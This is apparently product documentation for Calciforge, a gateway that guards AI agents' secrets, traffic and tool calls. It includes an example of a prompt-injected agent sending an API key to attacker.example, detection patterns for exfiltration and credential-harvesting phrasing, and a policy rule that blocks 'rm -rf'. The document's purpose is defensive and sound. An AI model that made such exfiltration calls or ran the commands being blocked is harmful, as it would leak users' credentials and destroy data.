What it gives you
Calciforge sits between your AI agents and the rest of the world. The gateway covers seven overlapping concerns; you can adopt any subset.
Secret management
Your agent never holds the actual API key. The gateway resolves through fnox and substitutes at the request boundary.
# fnox.toml — the secret store the gateway resolves through
[secrets]
OPENAI_API_KEY = { encrypted = "age-encryption.org/v1..." }
ANTHROPIC_API_KEY = { provider = "1password", key = "claude" }
NPM_TOKEN = { default = "value-from-env-or-prompt" }
For new values, prefer the local paste UI. It gives you a short-lived browser form and keeps the value out of Telegram, Matrix, WhatsApp, and other chat history:
paste-server OPENAI_API_KEY "OpenAI API key"
# prints http://127.0.0.1:PORT/paste/<token>
paste-server --bulk env-import "bulk .env import"
# prints http://127.0.0.1:PORT/bulk/<token>
The URLs expire after five minutes and are single-use. The bulk URL
accepts a whole .env-shaped paste and returns per-key results
(stored / already-exists / illegal-name / malformed).
Outbound traffic gating
The gateway substitutes {{secret:NAME}}
references at the moment of forwarding — and only if the destination
is on the per-secret allowlist.
# /etc/calciforge/security-proxy.toml
[secret_destination_allowlist]
OPENAI_API_KEY = ["api.openai.com", "*.openai.com"]
ANTHROPIC_API_KEY = ["api.anthropic.com"]
GITHUB_TOKEN = ["api.github.com", "uploads.github.com"]
Without an allowlist entry: substitution is allowed everywhere
(opt-in tightening). With an entry: anything else returns 403 before
the resolver is even consulted, so a prompt-injected agent calling
https://attacker.example/?key={{secret:OPENAI_API_KEY}}
fails before the secret value is loaded into memory.
Outbound bodies are also scanned for exfiltration-attempt patterns
(POST to https://…, send to https://…, curl … https://…,
beacon to, etc.) and PII-harvest phrasing (send me your password,
what is your api key). Generic high-entropy secret-shape detection
(JWT-shaped strings, sk-* keys, etc.) was deliberately removed
during the channel-integration cut and is on the
roadmap.
Inbound traffic gating and tool policy
Every upstream response is scanned for prompt-injection payloads before being returned to the agent. Configurable verdicts (Block / Review / Allow) routed via the policy plane.
For tool calls, Calciforge adapts the
clash policy engine through a small
HTTP daemon shipped in this repo as
clashd.
The daemon is not the product; it is the policy sidecar that lets
agent runtimes ask “allow, deny, or review?” before a tool executes.
# clash-policy.star — Starlark policy served by clashd
def evaluate(ctx):
if ctx.tool == "Bash" and "rm -rf" in ctx.args.get("command", ""):
return Verdict.deny("destructive command requires manual approval")
if ctx.identity != "owner" and ctx.tool == "Write":
return Verdict.review("non-owner write — flag for review")
return Verdict.allow()
Model gateway
Calciforge can expose an OpenAI-compatible local endpoint while routing
requests to named providers, explicit model routes, local models, and
synthetic models. Chat users can also inspect and switch configured
aliases with !model.
The synthetic-model vocabulary is:
- Alloy — blend among interchangeable models by weighted or round-robin selection. Implemented today with context-window validation: every constituent declares a context window, and the alloy can only advertise a ceiling every constituent can satisfy.
- Cascade — ordered fallback on provider failure. The behavior
exists inside alloy execution and as named
[[cascades]]. - Dispatcher — choose by request shape, such as “smallest sufficient model.” This is the size-routing primitive for mixing small local models with larger remote models.
# /etc/calciforge/config.toml — model gateway
[proxy]
enabled = true
bind = "127.0.0.1:8080"
backend_type = "http"
backend_url = "https://api.openai.com/v1"
backend_api_key_file = "/etc/calciforge/secrets/openai-key"
[proxy.token_estimator]
strategy = "auto"
# tokenizer = "o200k_base" # force a tiktoken base for non-OpenAI model IDs
safety_margin = 1.10
# Pattern-based provider routing — first match wins after model_routes.
[[proxy.providers]]
id = "anthropic"
url = "https://api.anthropic.com/v1"
api_key_file = "/etc/calciforge/secrets/anthropic-key"
models = ["claude-*", "anthropic/*"]
timeout_seconds = 120
[[proxy.providers]]
id = "local-mlx"
url = "http://127.0.0.1:8888/v1"
models = ["local/*", "qwen/*", "mlx/*"]
# Explicit routes take precedence over provider pattern lists.
[[proxy.model_routes]]
pattern = "coding/default"
provider = "anthropic"
# Chat aliases shown by `!model`; `!model sonnet` prints the expansion.
[[model_shortcuts]]
alias = "sonnet"
model = "anthropic/claude-sonnet-4.6"
[[model_shortcuts]]
alias = "local"
model = "local/qwen3-35b"
# Alloys pick among equivalent models by weighted or round-robin strategy.
[[alloys]]
id = "balanced"
name = "Balanced remote blend"
strategy = "weighted"
[[alloys.constituents]]
model = "anthropic/claude-sonnet-4.6"
weight = 70
context_window = 200000
[[alloys.constituents]]
model = "openrouter/google/gemini-flash-1.5"
weight = 30
context_window = 100000
[local_models]
enabled = true
current = "qwen3-35b"
[local_models.mlx_lm]
host = "127.0.0.1"
port = 8888
[[local_models.models]]
id = "qwen3-35b"
hf_id = "mlx-community/Qwen2.5-35B-Instruct-8bit"
display_name = "Qwen 35B local"
[[dispatchers]]
id = "smart-local"
name = "Use local until the prompt outgrows it"
[[dispatchers.models]]
model = "local/qwen3-35b"
context_window = 32768
[[dispatchers.models]]
model = "anthropic/claude-sonnet-4.6"
context_window = 200000
The full gateway reference is
docs/model-gateway.md.
Named cascades, dispatchers, and token-window fit checks are captured
in
docs/rfcs/model-gateway-primitives.md.
Agent-facing tools (MCP and CLI)
A built-in MCP server and small CLI expose secret names to agents
but never return values — the only way for an agent to use a secret is to
emit {{secret:NAME}} and let the gateway resolve
on the way out. Designed so a compromised agent can enumerate names
and fail to retrieve values.
Today, discovery is process-scoped: it sees the fnox names available to the MCP server or CLI process. Calciforge enforces per-secret destination allowlists at substitution time, but does not yet enforce per-agent secret discovery/use ACLs. That policy layer is on the roadmap.
// ~/.claude/mcp-config.json
{
"mcpServers": {
"calciforge-secrets": {
"command": "/usr/local/bin/mcp-server",
"transport": "stdio"
}
}
}
calciforge-secrets list
calciforge-secrets ref BRAVE_API_KEY
Multi-channel chat
Today: Telegram, Matrix, WhatsApp, Signal. Optional voice forwarding on channels that support it.
# /etc/calciforge/config.toml — channel configuration
[[channels]]
kind = "telegram"
enabled = true
bot_token_file = "/etc/calciforge/secrets/telegram-bot-token"
allowed_users = ["7000000001", "7000000002"]
[[channels]]
kind = "matrix"
enabled = true
homeserver = "https://matrix.example.com"
access_token_file = "/etc/calciforge/secrets/matrix-access-token"
room_id = "!roomid:example.com"
allowed_users = ["@alice:example.com"]
[[channels]]
kind = "whatsapp"
enabled = true
nzc_endpoint = "http://127.0.0.1:18789"
nzc_auth_token = "{{secret:OPENCLAW_HOOK_TOKEN}}"
allowed_numbers = ["+15555550100"]
Per-identity routing: each user gets their own active agent and audit trail. Per-agent secret ACLs are planned; current secret enforcement is value hiding plus destination allowlists.
Sensitive system operations
A separate authenticated daemon (host-agent) handles ZFS / systemd
/ PCT / git / exec calls behind mTLS. Agents never get a shell
directly; they call the daemon, which validates the operation
shape against allowlist rules and runs through narrow sudoers
wrappers.
Quick install (Mac)
git clone https://github.com/bglusman/calciforge
cd calciforge
brew install fnox && fnox init
bash scripts/install.sh
Three services land as launchd agents:
clashdon:9001— aclash-backed policy sidecarsecurity-proxyon:8888— substitution + scanning + injectioncalciforge— channel router (needs onboarding for an LLM provider)
Route Claude Code through the gateway:
# ~/.zshrc
export HTTPS_PROXY=http://localhost:8888
Status
Solo-operator mature, multi-user team mode in progress. Mac-tested, Linux-ready (CI runs Ubuntu, daily-use is macOS + a Proxmox CT for headless deployment).
The list of what works today and what’s still in flight lives in the
README’s status table.
Internal reviews and planning notes live under
research/;
public roadmap ideas live in
docs/roadmap/.